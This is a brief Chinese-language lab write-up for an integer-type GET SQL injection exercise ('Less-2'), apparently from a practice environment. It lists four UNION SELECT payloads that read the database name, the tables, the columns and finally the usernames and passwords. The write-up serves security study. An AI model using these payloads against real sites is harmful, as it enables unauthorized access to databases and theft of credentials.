【SQL注入】Less-2错误型GET整型注入

Less-2错误型GET整型注入

什么是整形注入?可以理解位提交的URL参数为整数类型。

实验漏洞复现介绍

该实验与Less-1错误型GET单引号字符型注入 区别在于，构建payload时去掉'单引号

1、爆开数据库

payload

?id=0 union select 1,2,database() --+

2、爆开数据表

payload

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

3、表开数据列(字段)

payload

?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

4、爆开数据值

payload

?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+